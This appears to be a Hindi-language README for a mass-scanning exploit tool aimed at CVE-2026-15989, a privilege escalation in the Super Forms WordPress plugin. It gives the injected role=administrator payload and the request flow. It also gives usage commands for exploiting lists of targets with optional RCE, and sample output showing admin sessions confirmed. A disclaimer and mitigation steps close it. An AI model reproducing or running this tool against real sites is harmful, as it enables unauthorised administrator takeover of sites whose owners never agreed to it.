CVE-2026-15989 — Super Forms ≤ 6.3.316 — अनधिकृत विशेषाधिकार वृद्धि PoC

Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — प्रीमियम Register & Login ऐड-ऑन के role पैरामीटर के माध्यम से अनधिकृत विशेषाधिकार वृद्धि।

📋 भेद्यता अवलोकन

🔍 तकनीकी विवरण

ऐड-ऑन फ़ॉर्म सेटिंग्स से नए उपयोगकर्ता की भूमिका सेट करता है ($userdata['role'] = $settings['register_user_role']), फिर $other_userdata पर लूप करता है — जिसमें 'role' शामिल है — और wp_insert_user() को कॉल करने से पहले किसी भी कुंजी को क्लाइंट-प्रदत्त मान ($data['role']['value']) से अधिलेखित कर देता है।

POST /wp-admin/admin-ajax.php  (unauthenticated)
        │
        ▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
        │
        ▼
$other_userdata loop ─► $userdata['role'] = $data['role']['value']
        │
        ▼
wp_insert_user() ─► administrator account created
        │
        ▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► admin session

फ़िक्स (6.3.317): व्हाइटलिस्ट से 'role' हटाया गया + get_safe_public_registration_role() (fail-closed)।

मूल शोध — दोहरी सबमिट प्रोटोकॉल: कोर ने v5.0.0 पर प्रोटोकॉल बदल दिया।

टूल पता लगाए गए संस्करण से प्रोटोकॉल स्वचालित रूप से चुनता है।

🚀 उपयोग

# mass scan + exploit
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup

# single target
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure

# re-check an existing account without re-registering
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure

📊 आउटपुट

│  ├─ plugin   : 6.3.316 — VULNERABLE <= 6.3.316
│  ├─ addon    : v1.8.7
│  ├─ form     : 4169 (/register/)
│  ├─ proto    : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│  ├─ payload  : HTTP 200 ✓ processed
│  └─ session  : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED

• hits.txt — केवल पुष्ट लक्ष्य (ts|url|status|detail, उपयोगकर्ता/पासवर्ड के साथ)
• ETA + प्रति-स्थिति काउंटर के साथ बार; प्रत्येक चरण विफलता पर वास्तविक कारण प्रिंट करता है (WAF, क्रैश, लॉगिन-ओनली फ़ॉर्म, गलत प्रोटोकॉल...)

⚙️ विशेषताएँ

• दोहरी प्रोटोकॉल (4.x नेस्टेड-डेटा / 5+ JSON+nonce) — संस्करण द्वारा स्वतः चयनित
• संस्करण पहचान: readme.txt Stable tag + common.js?ver=; ऐड-ऑन प्रोब + इसका स्वयं का संस्करण
• पंजीकरण फ़ॉर्म खोज: सामान्य पथ + sitemap.xml/wp-sitemap.xml/sitemap_index + होम लिंक
• आवश्यक फ़ील्ड का स्वतः-भरण (छिपे/सशर्त सहित)
• "already exists" → मौजूदा खाते का सीधा लॉगिन प्रमाण
• क्रैश नियंत्रण: सर्वर-साइड समस्याओं को इंजेक्शन-ट्रिगर क्रैश से अलग करने के लिए इंजेक्ट की गई भूमिका के बिना फ़ॉर्म पुनः भेजता है
• /wp-json/wp/v2/users/me?context=edit के माध्यम से आधिकारिक एडमिन प्रमाण (फ़ॉलबैक: users.php / dashboard)

📁 फ़ाइल संरचना

├── CVE-2026-15989.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ अस्वीकरण

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ शमन

1. Super Forms को 6.3.317 (या बाद के संस्करण) में अपडेट करें और किसी भी लीक हुए क्रेडेंशियल को रोटेट करें
2. Register & Login ऐड-ऑन को अपडेट रखें (इसका अपना संस्करण चक्र है)
3. आवश्यकता न होने पर प्रकाशित पंजीकरण फ़ॉर्म हटाएँ/अक्षम करें
4. अप्रत्याशित एडमिनिस्ट्रेटर खातों के लिए wp-admin/ उपयोगकर्ताओं का ऑडिट करें